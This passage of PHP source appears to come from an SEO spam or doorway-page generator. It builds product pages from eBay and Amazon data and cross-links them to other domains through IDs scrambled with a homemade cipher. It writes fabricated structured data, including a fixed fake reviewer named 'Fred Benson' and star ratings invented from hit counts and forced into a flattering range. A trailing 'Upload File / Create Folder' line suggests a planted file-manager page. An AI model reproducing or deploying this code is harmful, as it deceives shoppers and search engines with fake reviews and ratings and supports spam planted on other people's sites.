itemtype="https://schema.org/ListItem"> <a itemprop="item" href="/$crumbUrl" title="{$crumb}"> <span itemprop="name">{$crumb}</span> </a> <meta itemprop="position" content="{$position}"/> {$delimiterLi} </li> HTML; } $breadcrumbHtmlParts[] = <<<HTML </ul> </div> </div> HTML; $titleHtml = <<<HTML <h2 class="product_title entry-title show-product-nav">{$product['title']}</h2> HTML; $externalLinkHtmlParts = []; foreach ($links as $data){ $title = $this->urlCode(ucwords(strtolower($data['title']))); $productId = $this->processRawId("sku" . $data['item_id'], $data['domain']); if($data['is_nginx']){ $url = "{$data['scheme']}://{$data['domain']}{$data['path']}?t=detail&i={$productId}"; } else { $url = "{$data['scheme']}://{$data['domain']}{$data['path']}" . self::DETAIL_PAGE_ROUTER_NAME . "/{$title}_{$productId}.html"; } $externalLinkHtmlParts[] = <<<HTML <a href="$url">{$data['title']}</a><br> HTML; } $imageHtml = implode('', $imageHtmlParts); $metaHtml = implode('', $metaHtmlParts); $breadcrumbHtml = implode('', $breadcrumbHtmlParts); $externalLinkHtml = implode('', $externalLinkHtmlParts); return ['image_html' => $imageHtml, 'meta_html' => $metaHtml, 'breadcrumb_html' => $breadcrumbHtml, 'price_html' => $priceHtml, 'title_html' => $titleHtml, 'description_html' => $product['description'] . "<div class='related products'><h2 class='slider-title related-products'></h2></div>" . $externalLinkHtml]; } /** * Calculate price before discount and price after discount * @param $price int initial price * @return float[]|int[] */ public function getDiscountPrice($price){ $displayPrice = floor($price * self::RAW_PRICE_RATE * self::DISPLAY_PRICE_RATE * 100) / 100; $rawPrice = floor($price * self::RAW_PRICE_RATE * 100) / 100; return ['display_price' => $displayPrice, 'raw_price' => $rawPrice]; } /** * Encryption and decryption algorithm * @param $k * @param $s * @param $encrypt * @return string */ public function processRawId($s, $encrypt = true, $k = '') { $k = $k ?: $this->domain; if (strpos($k, "www.") === false) { $k = "www." . $k; } $kLen = strlen($k); $sLen = strlen($s); for ($i = 0; $i < $kLen; $i++) { $d = $encrypt ? base_convert($k[$i], 36, 10) : 36 - base_convert($k[$i], 36, 10); $t = ''; for ($j = 0; $j < $sLen; $j++) { $t .= base_convert((base_convert($s[$j], 36, 10) + $d) % 36, 10, 36); } $s = $t; } return $t; } /** * Verify product request ID including category ID and product ID * @param $verifyId string * @param $type string * @return boolean */ public function verifyProductId($verifyId, $type = null) { if (!empty($verifyId) && $verifyId != -1) { $verifyId = (string)$verifyId; $idLen = strlen($verifyId); if(strpos(strtoupper($verifyId), 'H') === 0){ $apiSrc = self::API_SRC_NAME_HOT_TOPICS; $this->isHotTopics = true; } else { $apiSrc = $this->apiSrc; } switch ($type) { case self::VERIFY_CATEGORY_TYPE: switch ($apiSrc) { case self::API_SRC_NAME_EBAY: case self::API_SRC_NAME_BRANDAPI: return ctype_digit($verifyId) && $idLen >= self::CATEGORY_ID_MIN_LEN && $idLen <= self::CATEGORY_ID_MAX_LEN; break; case self::API_SRC_NAME_AMAZON: return ctype_digit($verifyId) && $idLen >= self::CATEGORY_ID_MIN_LEN && $idLen <= self::CATEGORY_ID_MAX_LEN; case self::API_SRC_NAME_HOT_TOPICS: return ctype_alnum($verifyId) && $idLen >= self::CATEGORY_ID_MIN_LEN && $idLen <= self::CATEGORY_ID_MAX_LEN; default: return false; } case self::VERIFY_PRODUCT_TYPE: switch ($apiSrc) { case self::API_SRC_NAME_EBAY: case self::API_SRC_NAME_BRANDAPI: return ctype_digit($verifyId) && $idLen >= self::PRODUCT_ID_MIN_LEN && $idLen <= self::PRODUCT_ID_MAX_LEN; break; case self::API_SRC_NAME_AMAZON: case self::API_SRC_NAME_HOT_TOPICS: return ctype_alnum($verifyId) && $idLen >= self::PRODUCT_ID_MIN_LEN && $idLen <= self::PRODUCT_ID_MAX_LEN; default: return false; } default: return false; } } return false; } /** * @param $url * @return string|string[] */ public function urlCode($url) { if (strpos($url, ' ') !== false) { $url = preg_replace('/[\p{P}\p{S}[:space:]]+/u', ' ', $url); $url = str_replace(" ", " ", $url); $url = str_replace(" ", " ", $url); $url = trim($url); $url = str_replace(" ", "-", $url); $url = str_replace("_", "-", $url); } elseif (strpos($url, '-') !== false) { $url = ucwords(str_replace("-", " ", $url)); } return $url; } /** * build product json * @param $product * @return mixed */ private function buildJsonIdHtml($product) { global $localBusiness; $fieldsMapping = array( "Condition" => "condition", "Weight" => "weight", "Height" => "height", "Width" => "width", "Color" => "color", "MPN" => "mpn", "GTIN" => "gtin", "GTIN8" => "gtin8", "GTIN13" => "gtin13", "GTIN14" => "gtin14", "ISBN" => "isbn", "Brand" => "brand", "Depth" => "depth", "Material" => "material" ); $httpType = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://'; $exifData = []; if (isset($product['specifics'])) { foreach ($product['specifics'] as $k => $v) { foreach ($fieldsMapping as $field => $property) { if (empty($product[$property]) && $k == $field) { $product[$property] = $v; } } array_push( $exifData, [ "@type" => "PropertyValue", "name" => $k, "value" => $v ] ); } } $imageData = []; if (isset($product['pictures'])) { foreach ($product['pictures'] as $k => $v) { $imageData[] = "{$httpType}{$this->domain}{$this->getCompleteRoute()}{$v}"; } } $ratingValue = $this->calculateRating( $product['quantity'], $product['sold'], $product['hit_count'] ); $priceValidUntil = date("Y-m-d", strtotime("next year")); $priceCurrency = $product['currency_id']; $ratePrice = $this->getDiscountPrice($product['current_price']); $price = $ratePrice['display_price']; $productDescription = htmlspecialchars($product['description'], ENT_QUOTES); $name = strip_tags($product['title']); $description = empty(str_replace(" ", "", $productDescription)) ? $name : $productDescription; $description = mb_substr(htmlspecialchars($description, ENT_QUOTES), 0, 5000); $productId = $this->processRawId("sku" . $product['item_id']); if (empty($product['mpn']) && empty($product['isbn']) && empty($product['gtin']) && empty($product['gtin8']) && empty($product['gtin13']) && empty($product['gtin14'])) { $identifierExists = 'no'; } else { $identifierExists = 'yes'; } $localBusiness = [ "@context" => "https://schema.org", "@type" => "Product", "name" => $name, "image" => $imageData, "sku" => $productId, "identifierExists" => $identifierExists, "category" => $product['category_name'], "brand" => ['@type' => 'Brand', 'name' => $product['brand'] ? $product['brand'] : "unknown"], "description" => $description, "itemCondition" => $product['condition'], "countryOfOrigin" => $product['country'], "review" => [ "@type" => "Review", "reviewRating" => [ "@type" => "Rating", "ratingValue" => $ratingValue, "bestRating" => "5" ], "author" => [ "@type" => "Person", "name" => "Fred Benson" ] ], "aggregateRating" => [ "@type" => "AggregateRating", "ratingValue" => $ratingValue, "reviewCount" => $product['hit_count'] <= 0 ? 1 : $product['hit_count'] ], "offers" => [ "@type" => "Offer", "url" => $httpType . $this->domain . $this->getCompleteRoute() . urldecode($_SERVER ['REQUEST_URI']), "priceValidUntil" => $priceValidUntil, "priceSpecification" => [ "price" => $price, "priceCurrency" => $priceCurrency, "valueAddedTaxIncluded" => "false" ], "availability" => "http://schema.org/InStock", "seller" => [ "@type" => "Organization", "name" => "", "url" => $httpType . $this->domain .$this->getCompleteRoute() ] ], "additionalProperty" => $exifData ]; $jsonId = json_encode($localBusiness); return <<<HTML <script type="application/ld+json">$jsonId</script> HTML; } /** * get full path to sub end * @return string */ public function getCompleteRoute(){ // $route = str_replace("\\", '/', $_SERVER['PHP_SELF']); // return $route; } /** * @param $quantity * @param $sold * @param $hitCount * @return float|int */ public function calculateRating($quantity, $sold, $hitCount) { $target = 5.0; $minPercent = 0.8; $maxPercent = 0.95; if ($quantity < 2) { $quantity = 2; } if ($sold < 2) { $sold = 2; } if ($hitCount < 2) { $hitCount = 2; } $t = log10($hitCount * $sold / $quantity) / log10($hitCount); if ($t <= 1) { $v = $t * $target; } else { $v = 1 / $t * $target; } $minValue = $target * $minPercent; if ($v < $minValue) { while ($v < $minValue) { $v += ($target - $minValue) / 20; } } $maxValue = $target * $maxPercent; if ($v > $maxValue) { while ($v > $maxValue) { $v -= ($target - $maxValue) / 20; } } return $v; } /** * Get category(random words) cache data * @param $name * @param $keys * @return false|string */ public function getCache($name, $keys = []){ $filePaths = [__DIR__, sys_get_temp_dir()]; $key = implode(',', $keys); foreach ($filePaths as $path){ $fileName = md5("{$this->domain}|{$key}|{$this->appId}|{$name}") . ".data"; $result = file_get_contents($path . DIRECTORY_SEPARATOR . self::CACHE_DIRECTORY . DIRECTORY_SEPARATOR . $fileName); if($result === false){ continue; } } return $result; } /** * Set category(random words) data * @param $name * @param $keys * @param $data */ public function setCache($name, $data, $keys = []){ $filePaths = [__DIR__, sys_get_temp_dir()]; $key = implode(',', $keys); foreach ($filePaths as $path){ $directory = $path . DIRECTORY_SEPARATOR . self::CACHE_DIRECTORY; if(!is_dir($directory)){ mkdir($directory, 0755, true); } $fileName = md5("{$this->domain}|{$key}|{$this->appId}|{$name}") . ".data"; $result = file_put_contents($directory . DIRECTORY_SEPARATOR . $fileName, $data); if($result === false){ continue; } } } /** * Get currency symbol * @param string $currency * @return string|string[] */ public function getCurrencySymbol($currency = ''){ $currencySymbolMap = [ "USD" => "$", "AUD" => "$", "BRL" => "R$", "CAD" => "$", "CHF" => "CHF", "CZK" => "Kč", "DKK" => "-kr.", "EUR" => "€", "GBP" => "£", "HKD" => "HK$", "HUF" => "Ft", "ILS" => "₪", "JPY" => "¥", "MXN" => "$", "NOK" => "-kr.", "NZD" => "$", "PLN" => "zł", "PHP" => "₱", "RUB" => "₽", "SEK" => "-kr.", "SGD" => "$", "THB" => "฿", "TWD" => "NT$", "CNY" => "¥" ]; return $currency ? $currencySymbolMap[$currency] : $currencySymbolMap; } public function splitStringIntoChunks($str, $chunkSize) { $chunks = []; $length = mb_strlen($str, 'UTF-8'); for ($i = 0; $i < $length; $i += $chunkSize) { $chunks[] = mb_substr($str, $i, $chunkSize, 'UTF-8'); } return "[\n" . implode(",\n", array_map(function($chunk) { return '"' . htmlspecialchars($chunk) . '"'; }, $chunks)) . "\n]"; } public function encode($s, $k) { $k = md5($k); $t = []; $iv = substr(str_repeat($k, ceil(strlen($s) / strlen($k))), 0, strlen($s)); for ($j = 0; $j < strlen($s); $j++) { $c = $s[$j]; $i = $iv[$j]; if (ctype_alpha($c)) { $start = ctype_lower($c) ? ord('a') : ord('A'); $t[] = chr($start + (ord($c) - $start + ord($i) % 26) % 26); } elseif (ord($c) >= 32 && ord($c) <= 64) { $start = ord(' '); $t[] = chr($start + (ord($c) - $start + ord($i) % 33) % 33); } else if(ord($c) < 32){ continue; } else { $t[] = $c; } } return implode('', $t); } } $index = new index(); $index->init();
Upload File
Create Folder